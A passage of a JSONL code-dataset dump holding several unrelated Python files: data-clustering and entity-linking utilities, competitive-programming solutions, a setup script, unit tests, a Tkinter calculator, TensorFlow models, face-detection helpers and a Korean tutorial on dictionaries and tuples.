label_1_df['강좌명'].str.replace(i,' ', regex=False)\nlabel_1_df['강좌명1'] = label_1_df['강좌명'].astype(str).apply(making_list)\ntesting = Counter(flatten(label_1_df['강좌명1'].tolist()))\nsorted(testing.items(), key=lambda t : t[1],reverse=True)[:30]\n\ntest_df = pd.DataFrame(df_all[df_all['유저ID'].isin(label_5_userid)].groupby(['강좌명','유저ID'])['활동타입'].count().sort_values(ascending=False))\ntest_df['활동타입']=1\nlabel_1_df = test_df.reset_index()\nfor i in loop_text:\n label_1_df['강좌명'] = label_1_df['강좌명'].str.replace(i,' ', regex=False)\nlabel_1_df['강좌명1'] = label_1_df['강좌명'].astype(str).apply(making_list)\ntesting = Counter(flatten(label_1_df['강좌명1'].tolist()))\nsorted(testing.items(), key=lambda t : t[1],reverse=True)[:30]\n","sub_path":"(Machinelearn)Clustering.py","file_name":"(Machinelearn)Clustering.py","file_ext":"py","file_size_in_byte":23930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"346286058","text":"# Collection of the frequently called functions we'll be using for entity linking\n\nfrom wikidata.client import Client\nfrom nltk.corpus import stopwords\n\nimport nltk.tokenize\nimport os\nimport pywikibot\nimport wikipedia\nimport ujson\n\n# Load/generate requisite nltk files\ntokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\nstop_words = set(stopwords.words('english'))\n\nclass EntityLinker(object):\n def __init__(self, *, path='saved_data/entity_files/dict.json'):\n self.path = path\n\n # If file exists\n if os.path.isfile(path):\n # Load json file into dictionary\n self.load_dictionary()\n else:\n self.ent_dict = {}\n # Save dictionary to json file\n self.save_dictionary()\n\n def load_dictionary(self):\n \"\"\"\n :action: Saves dictionary to json file\n :return: None\n \"\"\"\n self.ent_dict = dict(ujson.load(open(self.path)))\n\n def save_dictionary(self):\n \"\"\"\n :action: Loads json file into dictionary\n :return: None\n \"\"\"\n with open(self.path, 'w') as outfile:\n ujson.dump(self.ent_dict, outfile)\n\n @staticmethod\n def identify_entities(comment):\n entities = []\n for sentence in nltk.sent_tokenize(comment):\n pending = None\n tagged_words = nltk.pos_tag(nltk.word_tokenize(sentence))\n for i, chunk in enumerate(nltk.ne_chunk(tagged_words)):\n if hasattr(chunk, 'label'):\n \"\"\"\n Occasionally, names such as Angela Merkel are interpreted by the parser as two named entities,\n Angela and Merkel. To resolve this issue, we hold the most recent entity before adding it to the \n returned list and check to see if the following entity is the next word, in which case we join the\n two. \n \"\"\"\n if pending and pending[2] == i-1:\n pending[0] += ' ' + ' '.join([c[0] for c in chunk])\n else:\n if pending:\n entities.append(tuple(pending[:2]))\n pending = [' '.join(c[0] for c in chunk), chunk.label(), i]\n if pending:\n entities.append(tuple(pending[:2]))\n return entities\n\n @staticmethod\n def page_title_to_political_party(title):\n \"\"\"\n :param title: A string page title.\n :return: A string representing the political party or affiliation of the entity described in the wikipage, if\n available. Otherwise, None.\n \"\"\"\n site = pywikibot.Site(\"en\", \"wikipedia\")\n page = pywikibot.Page(site, title)\n page = pywikibot.ItemPage.fromPage(page).get()\n\n try:\n party_page = page['claims']['P102'][0].getTarget().get()\n except (KeyError, pywikibot.NoPage):\n # No political party listed for this figure, so return None.\n return None\n\n # The English labels are usually a list, but sometimes appear as a string.\n english_labels = party_page['labels']['en']\n if isinstance(english_labels, list):\n return english_labels[0]\n elif isinstance(english_labels, str):\n return english_labels\n else:\n return None\n\n\n def entity_to_political_party(self, entity, building_dict=True, lookup_enabled=True, dict_allowed=True):\n \"\"\"\n Given an entity, return the political affiliation of that entity if one is available. Otherwise, return\n 'None found'.\n :param entity: A tuple of strings containing the name of a detected entity and its type, such as\n ('Barack Obama', 'PERSON')\n :param building_dict: If true, then newly discovered entities will be added to our\n :param lookup_enabled: Allows looking up terms not already in our dictionary of previous viewed\n entities on Wikipedia. Due to the unavoidable delay which comes with pulling data from Wikipedia,\n and the sheer number of entities mentioned in any given comment chain, this variable is here to\n be disabled in a production setting to speed up the final results.\n :param dict_allowed: Allows the dictionary of already seen entities to be used or disallowed, only used\n in testing.\n :return: A tuple of two strings, the full entity discovered and the party of this entity, if a politically\n affiliated full entity was found. Otherwise, None is returned.\n \"\"\"\n\n entity_name, ent_type = entity\n\n # If already in dictionary, return dict entry instead of looking on Wikipedia\n if dict_allowed and entity_name.lower() in self.ent_dict:\n try:\n if \"None\" in self.ent_dict[entity_name.lower()][1]:\n return None\n else:\n return tuple(self.ent_dict[entity_name.lower()])\n except TypeError:\n return None\n elif lookup_enabled:\n pages = wikipedia.search(entity_name)\n\n \"\"\"\n In the present incarnation of this project, we are focused on the political parties of\n only individuals, so other type of entities can be removed. Of course, the mention of\n geopolitical entities does have a certain political connotation, so this feature may be \n examined at a later point. \n \"\"\"\n if ent_type == 'PERSON':\n\n \"\"\"\n It is very rare for the subject of a political discussion to not be in the first five results\n for their name on Wikipedia, in fact in the testing done several months ago that was never the \n case. To save on execution time, we thus limit our exploration to the first five results with\n some semblance to the original query.\n \"\"\"\n # Occasionally, stop-words such as 'the' are in entities, so these are removed.\n entity_name_components = [part for part in entity_name.split(' ')]\n\n page_titles = []\n for title in pages[:20]:\n if len(page_titles) == 5:\n break\n if any(part_of_name in title for part_of_name in entity_name_components):\n page_titles.append(title)\n\n for title in page_titles:\n found_party = self.page_title_to_political_party(title)\n if found_party:\n if building_dict:\n self.ent_dict[entity_name.lower()] = (title, found_party)\n self.save_dictionary()\n return title, found_party\n else:\n if building_dict:\n self.ent_dict[entity_name.lower()] = ('No political figure', 'None found')\n self.save_dictionary()\n return None\n\n @staticmethod\n def political_party_to_value(party):\n \"\"\"\n :param party: A string representing the name of a political party\n :return: An integer value [-1, 1] representing this affiliation.\n \"\"\"\n # TODO: More nuanced approach, use wikipedia API rather than fixed values\n if party is not None:\n if 'republican' in party.lower():\n return 1\n elif 'democrat' in party.lower():\n return -1\n return 0\n","sub_path":"utilities/entity_toolkit.py","file_name":"entity_toolkit.py","file_ext":"py","file_size_in_byte":7538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"112980321","text":"from fractions import gcd\nfrom copy import deepcopy\nA,B=[int(i) for i in input().split()]\n\nedge=[[] for i in range(B-A+1)]\n\nfor i in range(A,B+1):\n\tfor j in range(i+1,B+1):\n\t\tif gcd(i,j)==1:\n\t\t\tedge[i-A].append(j-A)\n\t\t\t#edge[j-A].append(i-A)\nans=1\n\ndef calc(start,cond):\n\t#print(level,end=\" \")\n\t#print(start)\n\t#print(cond)\n\tans=1\n\tfor to in edge[start]:\n\t\tif to in cond:\n\t\t\t_cond=[]\n\t\t\tfor i in edge[to]:\n\t\t\t\tif i in cond:\n\t\t\t\t\t_cond.append(i)\n\t\t\tans+=calc(to,_cond)\n\treturn ans\n\nfor i in range(B-A+1):\n\tcond=[]\n\tfor j in edge[i]:\n\t\tcond.append(j)\n\tans+=calc(i,cond)\nprint(ans)\n\n\n","sub_path":"atcoder/event/colocon/coloC.py","file_name":"coloC.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"641357874","text":"from setuptools import setup, find_packages\nfrom utime import __version__\n\nwith open('README.md') as readme_file:\n readme = readme_file.read()\n\nwith open('HISTORY.rst') as history_file:\n history = history_file.read().replace('.. :changelog:', '')\n\nwith open(\"requirements.txt\") as req_file:\n requirements = list(filter(None, req_file.read().split(\"\\n\")))\n\nsetup(\n name='utime',\n version=__version__,\n description='A deep learning framework for automatic PSG sleep analysis.',\n long_description=readme + \"\\n\\n\" + history,\n author='Mathias Perslev',\n author_email='map@di.ku.dk',\n url='https://github.com/perslev/U-Time',\n license=\"LICENSE.txt\",\n packages=find_packages(),\n package_dir={'utime':\n 'utime'},\n include_package_data=True,\n setup_requires=[\"setuptools_git>=0.3\",],\n entry_points={\n 'console_scripts': [\n 'ut=utime.bin.ut:entry_func',\n ],\n },\n install_requires=requirements,\n classifiers=['Environment :: Console',\n 'Operating System :: POSIX',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7'\n 'License :: OSI Approved :: MIT License']\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"270022420","text":"\"\"\" API Tests \"\"\"\nfrom __future__ import unicode_literals\n\nimport unittest\n\nfrom httmock import HTTMock, all_requests\nfrom wordpress.transport import API_Requests_Wrapper\n\n\nclass TransportTestcases(unittest.TestCase):\n def setUp(self):\n self.requester = API_Requests_Wrapper(\n url='https://woo.test:8888/',\n api='wp-json',\n api_version='wp/v2'\n )\n\n def test_api_url(self):\n self.assertEqual(\n 'https://woo.test:8888/wp-json',\n self.requester.api_url\n )\n\n def test_endpoint_url(self):\n self.assertEqual(\n 'https://woo.test:8888/wp-json/wp/v2/posts',\n self.requester.endpoint_url('posts')\n )\n\n def test_request(self):\n @all_requests\n def woo_test_mock(*args, **kwargs):\n \"\"\" URL Mock \"\"\"\n return {'status_code': 200,\n 'content': b'OK'}\n\n with HTTMock(woo_test_mock):\n # call requests\n response = self.requester.request(\n \"GET\", \"https://woo.test:8888/wp-json/wp/v2/posts\")\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.request.url,\n 'https://woo.test:8888/wp-json/wp/v2/posts')\n","sub_path":"tests/test_transport.py","file_name":"test_transport.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"520911308","text":"#-*- coding: utf-8 -*-\nfrom typing import List\nimport math\n\nimport time\ndef timeit(func):\n def wrapped(*args, **kwargs):\n start = time.time()\n ret = func(*args, **kwargs)\n elapsed = time.time() - start\n print(\"elapsed: %s\" % elapsed)\n return ret\n return wrapped\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:\n curr1 = l1\n curr2 = l2\n head = ListNode('start')\n curr_new = head\n while curr1 or curr2:\n if curr1 and curr2:\n if curr1.val < curr2.val:\n curr_new.next = ListNode(curr1.val)\n curr1 = curr1.next\n else:\n curr_new.next = ListNode(curr2.val)\n curr2 = curr2.next\n elif curr1:\n curr_new.next = ListNode(curr1.val)\n curr1 = curr1.next\n else:\n curr_new.next = ListNode(curr2.val)\n curr2 = curr2.next\n curr_new = curr_new.next\n return head.next","sub_path":"lc/esy/20190928_esy_21_merge_two_sorted_linked_list.py","file_name":"20190928_esy_21_merge_two_sorted_linked_list.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"410896373","text":"#####################################################################\n#@ calculatrice\n#@ 01/02/2017\n#@ SC\n#####################################################################\n#Module import\nfrom Tkinter import * #import Tkinter\n\n#Function and variable creation\ndef print_result(): #function calc\n result = eval(str(entree1.get()) + operator.get() + str(entree2.get()))\n #.get() return value for given key with tkinter form\n print (result)\n #print result\n\n#Body Script\n\n#title\ncalc= Tk() #begenning of the GUI\ncalc.title('Calculatrice') # name of the window\n\n#label's prompt form\nLabel(calc, text=\"Entrez le nombre 1 : \").grid(row=0)\nLabel(calc, text=\"Entrez l'operateur + - * ou / : \").grid(row=1)\nLabel(calc, text=\"Entrez le nombre 2 : \").grid(row=2)\nLabel(calc, text=\"Resultat : \").grid(row=3)\n\n#prompt form\nentree1 = Entry(calc)\noperator = Entry(calc)\nentree2 = Entry(calc)\n\n#result showing box\n#result = print_result()\n\n#grid position\nentree1.grid(row=0, column=1)\noperator.grid(row=1, column=1)\nentree2.grid(row=2, column=1)\n#result.grid(row=3, column=1)\n\n#execution button\nButton(calc, text='Executer', command=print_result).grid(row=4, column=0, sticky=W, pady=4)\n#execute button calls print_result function\nButton(calc, text='Quitter', command=calc.destroy).grid(row=4, column=1, sticky=W, pady=4)\n#Quit button calls window closing\n\n#window end\ncalc.mainloop()","sub_path":"calculatorwithGUI.py","file_name":"calculatorwithGUI.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"27270422","text":"import os\nimport tensorflow as tf\n\nclass CupModel:\n def __init__(self, cup_id, restore=199, weight_path='../../data/cups/models'):\n self.build_config(cup_id, restore, os.path.join(os.path.dirname(__file__), weight_path))\n\n def build_config(self, cup_id, restore, weight_path):\n self.float = tf.float32\n self.cup_id = cup_id\n self.num_layers = 8\n self.restore = restore\n self.weight_path = weight_path\n\n def predict(self, x):\n with tf.variable_scope('cup%d'%self.cup_id):\n h = x\n restore_filename = os.path.join(os.path.dirname(__file__), self.weight_path, 'exp_cup_%d__%d.ckpt'%(self.cup_id, self.restore))\n hand_reader = tf.train.NewCheckpointReader(restore_filename)\n for i in range(self.num_layers):\n if i == 0:\n w = tf.Variable(hand_reader.get_tensor('dense/kernel'), trainable=False)\n b = tf.Variable(hand_reader.get_tensor('dense/bias'), trainable=False)\n else:\n w = tf.Variable(hand_reader.get_tensor('dense_%d/kernel'%i), trainable=False)\n b = tf.Variable(hand_reader.get_tensor('dense_%d/bias'%i), trainable=False)\n h = tf.matmul(h, w) + b\n if i < self.num_layers - 1:\n h = tf.nn.relu(h)\n \n g = tf.gradients(h, x)[0]\n # g = g / tf.norm(g, axis=-1, keepdims=True)\n # out = tf.concat([h, g], axis=-1)\n return h, g\n\nif __name__ == \"__main__\":\n import numpy as np\n cm = CupModel(1, 29999, 'reduce_cup_model')\n axis = np.linspace(-0.3, 0.3, 100) * 5\n pts = np.transpose(np.stack(np.meshgrid(axis, axis, axis), axis=-1), [1,0,2,3]).reshape([-1,3])\n tf_pts = tf.constant(pts, dtype=tf.float32)\n tf_out = cm.predict(tf_pts)\n sess = tf.Session()\n sess.run(tf.global_variables_initializer())\n dist = sess.run(tf_out)[:,0]\n print(pts.shape, dist.shape)\n # dist = grad[:,0]\n # grad = grad[:,1:]\n\n import mayavi.mlab as mlab\n\n mlab.points3d(pts[dist >= 0,0], pts[dist >= 0,1], pts[dist >= 0,2], scale_factor=0.05)\n # mlab.quiver3d(pts[::10,0], pts[::10,1], pts[::10,2], grad[::10,0], grad[::10,1], grad[::10,2])\n\n mlab.show()\n\n # import matplotlib.pyplot as plt\n # from mpl_toolkits.mplot3d import Axes3D\n\n # ax = plt.subplot(111, projection='3d')\n # ax.scatter(pts[:,0], pts[:,1], pts[:,2], s=1, c=grad)\n # plt.show()","sub_path":"coop.v2/utils/CupModel.py","file_name":"CupModel.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"305256003","text":"#dictionary\r\n#여러 값을 저장해두고 필요한 값을 꺼내 쓰는 기능\r\n#이름표를 이용하여 값을 꺼내 사용\r\n# 딕셔너리명={\r\n# '이름표1':'값1'\r\n# '이름표2':'값2'\r\n# }\r\n\r\nwintable = {\r\n '가위' : '보',\r\n '바위' : '가위',\r\n '보' : '바위',\r\n}\r\n\r\nprint(wintable['가위'])\r\n\r\ndays_in_month = {\r\n #여기에 코드를 완성해 보세요.\r\n '1월' : 31,\r\n '2월' : 28,\r\n '3월' : 31,\r\n \r\n \r\n }\r\n\r\nprint(days_in_month)\r\n\r\n\r\n#↓ 이름표는 문자열 또는 숫자를 주로 사용하지만\r\ndict = { \"이름표\" : [1,2,3] }\r\n#↑ 값은 리스트를 포함해서 무엇이든 올 수 있습니다.\r\n\r\nprint( dict[\"이름표\"] )\r\n\r\n\r\nlist=[1,2,3,4]\r\nlist.append(4) #리스트 추가 \r\nprint(list)\r\nlist[4]=6 #리스트 수정\r\nprint(list)\r\ndel(list[4]) #리스트 삭제\r\nprint(list)\r\nprint(list.pop(3))# 리스트 값 삭제하면서 삭제한 값 리턴 후 출력 pop함수 이용\r\ndec={\r\n'a':1,\r\n'b':2,\r\n'c':3,\r\n\r\n}\r\ndec['d']=4 #딕셔너리 추가 \r\nprint(dec)\r\ndec['d']=5 #딕셔너리 수정\r\nprint(dec)\r\ndel(dec['d']) #딕셔너리 삭제\r\nprint(dec)\r\nprint(dec.pop('c')) # 딕셔너리 삭제하면서 삭제한 값 리턴 후 출력 pop함수 이용\r\n\r\n#이름표=key , 값=value\r\n\r\nages={\r\n 'a':12,\r\n 'b':13,\r\n 'c':14,\r\n}\r\n\r\nfor key in ages.keys(): # keys()=이름표 출력, keys()함수 생략할 경우 이름표 출력으로 나옴 \r\n print(key)\r\nfor value in ages.values(): # values()=값 출력\r\n print(value)\r\n\r\n #딕셔너리 반복문은 순서에 맞게 출력하지 않는다\r\n\r\nfor key,value in ages.items(): #items()=딕셔너리에서 두개의 값(이름표,값)을 넘겨줌 \r\n print(\"{}의 나이는 {}살\".format(key,value))\r\n\r\nages2={\r\n\r\n 'f':4,\r\n}\r\n\r\nages.update( ages2 ) #딕셔너리 결합 ages2를 ages에 결합\r\n\r\nprint(ages)\r\n\r\nages2.clear() #딕셔너리의 내용 모두 삭제\r\n\r\n#튜플 \r\n#한번 정해진 순서를 바꿀 수 없다\r\n#값 변경도 불가능하다\r\ntuple1 = (1, 2, 3, 4)\r\n\r\ntuple2 = 1, 2, 3, 4 #() 안써도 똑같이 적용 \r\n \r\nmylist = [1,2,3,4]\r\ntuple3 = tuple(mylist) #튜플안에 리스트의 값들을 넣는다.\r\n\r\n#packing 하나의 변수에 튜플을 이용하여 여러개의 값을 넣는 것\r\n#unpacking 패킹된 변수에서 여러개의 값을 꺼내오는 것\r\n\r\nc = (3, 4)\r\nd, e = c # c의 값을 언패킹하여 d, e에 값을 넣었다\r\nf = d, e # 변수 d와 e를 f에 패킹\r\n\r\n#튜플의 활용\r\n#두 변수의 값을 바꿀 때 임시변수가 필요 없다.\r\n#함수의 리턴 값으로 여러 값을 전달할 수 있다\r\n# ex) x,y=y,x\r\n\r\nlist3=[1,2,3,4,5]\r\nfor i,v in enumerate(list3): # 인덱스(0번째....)와 값을 리턴 \r\n print('{}번째 수 {}'.format(i,v))\r\n\r\nfor a in enumerate(list3): # 인덱스(0번째....)와 값을 리턴 \r\n print('{}번째 수 {}'.format(a[0],a[1]))\r\n#for문을 거칠때마다 a는 (0,1) -> (1,2) -> (2,3) -> (3,4) -> (4,5)로 바뀝니다.\r\n#따라서 a[0]은 0->1->2->3->4가 될거고, a[1]은 1->2->3->4->5가 되겠지요.\r\n\r\n\r\n\r\nfor a in enumerate(list3): # 인덱스(0번째....)와 값을 리턴 \r\n print('{}번째 수 {}'.format(*a) ) #튜플을 쪼갬 \r\n\r\ndic2={\r\n 'a':10,\r\n 'b':11,\r\n 'c':12\r\n}\r\nfor key,value in dic2.items():\r\n print('{}의 나이는 {}살'.format(key,value))\r\nfor a in dic2.items():\r\n print('{}의 나이는 {}살'.format(a[0],a[1]))\r\n","sub_path":"dic.py","file_name":"dic.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"487704964","text":"import torch\r\nimport numpy as np\r\nimport torch.nn.functional as F\r\n\r\ndef resize_label(labels, w1, h1, w2, h2):\r\n labs = []\r\n for label in labels:\r\n labs.append(np.array([label[0]*w2/w1, label[1]*h2/h1, label[2]*w2/w1, label[3]*h2/h1, 1]))\r\n return labs\r\n\r\n\r\n\r\ndef pyramidAnchors(size):\r\n priors = []\r\n\r\n stride = [4, 8, 16, 32, 64, 128]\r\n anchor = [16, 32, 64, 128, 256, 512]\r\n\r\n for k in range(len(stride)):\r\n fs = int(size/stride[k])\r\n prior = []\r\n for i in range(fs):\r\n for j in range(fs):\r\n x = float(stride[k]*(i+0.5))\r\n y = float(stride[k]*(j+0.5))\r\n w = float(anchor[k])\r\n h = float(anchor[k])\r\n prior.append([x, y, w, h])\r\n priors.extend(prior)\r\n\r\n return priors\r\n\r\n\r\ndef rescale_targets(spa, k, targets):\r\n targets[:, 2:] = targets[:, 2:]/(spa**k)\r\n\r\n\r\ndef point_form(boxes):\r\n return torch.cat((boxes[:, :2] - boxes[:, 2:]/2, # xmin, ymin\r\n boxes[:, :2] + boxes[:, 2:]/2), 1) # xmax, ymax\r\n\r\n\r\ndef center_size(boxes):\r\n return torch.cat((boxes[:, 2:] + boxes[:, :2])/2, # cx, cy\r\n boxes[:, 2:] - boxes[:, :2], 1) # w, h\r\n\r\n\r\ndef intersect(box_a, box_b):\r\n A = box_a.size(0)\r\n B = box_b.size(0)\r\n max_xy = torch.min(box_a[:, 2:].unsqueeze(1).expand(A, B, 2),\r\n box_b[:, 2:].unsqueeze(0).expand(A, B, 2))\r\n min_xy = torch.max(box_a[:, :2].unsqueeze(1).expand(A, B, 2),\r\n box_b[:, :2].unsqueeze(0).expand(A, B, 2))\r\n inter = torch.clamp((max_xy - min_xy), min=0)\r\n return inter[:, :, 0] * inter[:, :, 1]\r\n\r\n\r\ndef jaccard(box_a, box_b):\r\n inter = intersect(box_a, box_b)\r\n area_a = ((box_a[:, 2]-box_a[:, 0]) *\r\n (box_a[:, 3]-box_a[:, 1])).unsqueeze(1).expand_as(inter) # [A,B]\r\n area_b = ((box_b[:, 2]-box_b[:, 0]) *\r\n (box_b[:, 3]-box_b[:, 1])).unsqueeze(0).expand_as(inter) # [A,B]\r\n union = area_a + area_b - inter\r\n return inter / union # [A,B]\r\n\r\n\r\ndef match(spa, k, anchor, threshold, targets, priors, conf_t, loc_t, idx, device):\r\n rescale_targets(spa, k, targets)\r\n\r\n ps_conf = [0]*len(priors)\r\n ps_loc = [0]*len(priors)\r\n\r\n for i in range(len(priors)):\r\n ps_conf[i] = torch.Tensor(len(priors[i])).zero_().to(device)\r\n ps_loc[i] = torch.Tensor(len(priors[i]), 4).zero_().to(device)\r\n\r\n ind = 0\r\n dist = float('inf')\r\n\r\n for target in targets:\r\n for i in range(len(anchor)):\r\n if (abs((0.5*target[2]+0.5*target[3])-anchor[i])) < dist:\r\n dist = abs((0.5*target[2]+0.5*target[3])-anchor[i])\r\n ind = i\r\n dist = float('inf')\r\n\r\n overlaps = jaccard(point_form(target.unsqueeze(0)),\r\n point_form(torch.Tensor(priors[ind]).to(device))) # [1,k]\r\n overlaps = overlaps.gt(threshold).squeeze(0).float()\r\n\r\n ps_conf[ind] = ((ps_conf[ind]+overlaps).gt(0)).float()\r\n\r\n\r\n indice = overlaps.nonzero()\r\n\r\n if indice.size(0) == 0:\r\n continue\r\n\r\n cord = target.unsqueeze(0).expand(indice.size(0), 4)\r\n ps_loc[ind].index_copy_(0, indice.squeeze(1), cord) # not correct\r\n\r\n conf = ps_conf[0]\r\n matched = ps_loc[0]\r\n prs = torch.Tensor(priors[0]).to(device)\r\n\r\n for i in range(1, len(priors)):\r\n conf = torch.cat((conf, ps_conf[i]), 0)\r\n matched = torch.cat((matched, ps_loc[i]), 0)\r\n prs = torch.cat((prs, torch.Tensor(priors[i]).to(device)), 0)\r\n\r\n loc = encode(matched, prs)\r\n\r\n conf_t[idx] = conf\r\n loc_t[idx] = loc\r\n\r\n\r\ndef encode(matched, priors):\r\n\r\n # dist b/t match center and prior's center\r\n g_cxcy = (matched[:, :2] + matched[:, 2:])/2 - priors[:, :2]\r\n # encode variance\r\n g_cxcy /= priors[:, 2:]\r\n # match wh / prior wh\r\n g_wh = (matched[:, 2:] - matched[:, :2]) / priors[:, 2:]\r\n g_wh = torch.log(g_wh)\r\n # return target for smooth_l1_loss\r\n return torch.cat([g_cxcy, g_wh], 1) # [num_priors,4]\r\n\r\n\r\n# Adapted from https://github.com/Hakuyume/chainer-ssd\r\ndef decode(loc, priors):\r\n\r\n boxes = torch.cat((\r\n priors[:, :2] + loc[:, :2] * priors[:, 2:],\r\n priors[:, 2:] * torch.exp(loc[:, 2:])), 1)\r\n boxes[:, :2] -= boxes[:, 2:] / 2\r\n boxes[:, 2:] += boxes[:, :2]\r\n return boxes\r\n\r\n\r\n\r\ndef log_sum_exp(x):\r\n \"\"\"Utility function for computing log_sum_exp while determining\r\n This will be used to determine unaveraged confidence loss across\r\n all examples in a batch.\r\n Args:\r\n x (Variable(tensor)): conf_preds from conf layers\r\n \"\"\"\r\n x_max = x.max()\r\n\r\n x = torch.log(torch.sum(torch.exp(x-x_max))) + x_max\r\n #x = F.log_softmax(x, dim=1)\r\n\r\n return x\r\n\r\n\r\ndef nms(boxes, scores, overlap=0.5, top_k=200):\r\n \"\"\"Apply non-maximum suppression at test time to avoid detecting too many\r\n overlapping bounding boxes for a given object.\r\n Args:\r\n boxes: (tensor) The location preds for the img, Shape: [num_priors,4].\r\n scores: (tensor) The class predscores for the img, Shape:[num_priors].\r\n overlap: (float) The overlap thresh for suppressing unnecessary boxes.\r\n top_k: (int) The Maximum number of box preds to consider.\r\n Return:\r\n The indices of the kept boxes with respect to num_priors.\r\n \"\"\"\r\n\r\n keep = scores.new(scores.size(0)).zero_().long()\r\n if boxes.numel() == 0:\r\n return keep\r\n x1 = boxes[:, 0]\r\n y1 = boxes[:, 1]\r\n x2 = boxes[:, 2]\r\n y2 = boxes[:, 3]\r\n area = torch.mul(x2 - x1, y2 - y1)\r\n v, idx = scores.sort(0) # sort in ascending order\r\n # I = I[v >= 0.01]\r\n idx = idx[-top_k:] # indices of the top-k largest vals\r\n xx1 = boxes.new()\r\n yy1 = boxes.new()\r\n xx2 = boxes.new()\r\n yy2 = boxes.new()\r\n w = boxes.new()\r\n h = boxes.new()\r\n\r\n # keep = torch.Tensor()\r\n count = 0\r\n while idx.numel() > 0:\r\n i = idx[-1] # index of current largest val\r\n # keep.append(i)\r\n keep[count] = i\r\n count += 1\r\n if idx.size(0) == 1:\r\n break\r\n idx = idx[:-1] # remove kept element from view\r\n # load bboxes of next highest vals\r\n torch.index_select(x1, 0, idx, out=xx1)\r\n torch.index_select(y1, 0, idx, out=yy1)\r\n torch.index_select(x2, 0, idx, out=xx2)\r\n torch.index_select(y2, 0, idx, out=yy2)\r\n # store element-wise max with next highest score\r\n xx1 = torch.clamp(xx1, min=x1[i])\r\n yy1 = torch.clamp(yy1, min=y1[i])\r\n xx2 = torch.clamp(xx2, max=x2[i])\r\n yy2 = torch.clamp(yy2, max=y2[i])\r\n w.resize_as_(xx2)\r\n h.resize_as_(yy2)\r\n w = xx2 - xx1\r\n h = yy2 - yy1\r\n # check sizes of xx1 and xx2.. after each iteration\r\n w = torch.clamp(w, min=0.0)\r\n h = torch.clamp(h, min=0.0)\r\n inter = w*h\r\n # IoU = i / (area(a) + area(b) - i)\r\n rem_areas = torch.index_select(area, 0, idx) # load remaining areas)\r\n union = (rem_areas - inter) + area[i]\r\n IoU = inter/union # store result in iou\r\n # keep only elements with an IoU <= overlap\r\n idx = idx[IoU.le(overlap)]\r\n\r\n return keep, count\r\n\r\n\r\n\r\ndef match_temp(threshold, truths, priors, labels, loc_t, conf_t, idx, device):\r\n \"\"\"Match each prior box with the ground truth box of the highest jaccard\r\n overlap, encode the bounding boxes, then return the matched indices\r\n corresponding to both confidence and location preds.\r\n Args:\r\n threshold: (float) The overlap threshold used when mathing boxes.\r\n truths: (tensor) Ground truth boxes, Shape: [num_obj, num_priors].\r\n priors: (tensor) Prior boxes from priorbox layers, Shape: [n_priors,4].\r\n variances: (tensor) Variances corresponding to each prior coord,\r\n Shape: [num_priors, 4].\r\n labels: (tensor) All the class labels for the image, Shape: [num_obj].\r\n loc_t: (tensor) Tensor to be filled w/ endcoded location targets.\r\n conf_t: (tensor) Tensor to be filled w/ matched indices for conf preds.\r\n idx: (int) current batch index\r\n Return:\r\n The matched indices corresponding to 1)location and 2)confidence preds.\r\n \"\"\"\r\n # jaccard index\r\n '''\r\n overlaps = jaccard(\r\n truths,\r\n point_form(priors)\r\n )\r\n '''\r\n\r\n overlaps = jaccard(truths, point_form(torch.Tensor(priors).to(device)))\r\n\r\n # (Bipartite Matching)\r\n # [1,num_objects] best prior for each ground truth\r\n best_prior_overlap, best_prior_idx = overlaps.max(1, keepdim=True)\r\n # [1,num_priors] best ground truth for each prior\r\n best_truth_overlap, best_truth_idx = overlaps.max(0, keepdim=True)\r\n best_truth_idx.squeeze_(0)\r\n best_truth_overlap.squeeze_(0)\r\n best_prior_idx.squeeze_(1)\r\n best_prior_overlap.squeeze_(1)\r\n best_truth_overlap.index_fill_(0, best_prior_idx, 2) # ensure best prior\r\n # TODO refactor: index best_prior_idx with long tensor\r\n # ensure every gt matches with its prior of max overlap\r\n for j in range(best_prior_idx.size(0)):\r\n best_truth_idx[best_prior_idx[j]] = j\r\n matches = truths[best_truth_idx] # Shape: [num_priors,4]\r\n conf = labels[best_truth_idx] # Shape: [num_priors]\r\n conf[best_truth_overlap < threshold] = 0 # label as background\r\n loc = encode(matches, torch.Tensor(priors).to(device))\r\n loc_t[idx] = loc # [num_priors,4] encoded offsets to learn\r\n conf_t[idx] = conf # [num_priors] top class label for each prior\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"460686482","text":"#!/usr/bin/python2.7\n#coding:utf-8\n\n#minimize cost tf optimizer\n#1\nimport tensorflow as tf\ntf.set_random_seed(777)\n\nX=[1,2,3]\nY=[2,4,6]\n\n# W=tf.Variable(-3.0,name='weight')\n#\n# hypothesis=X*W\n# loss=tf.reduce_mean(tf.square(hypothesis-Y))\n#\n#\n# #minimize\n# 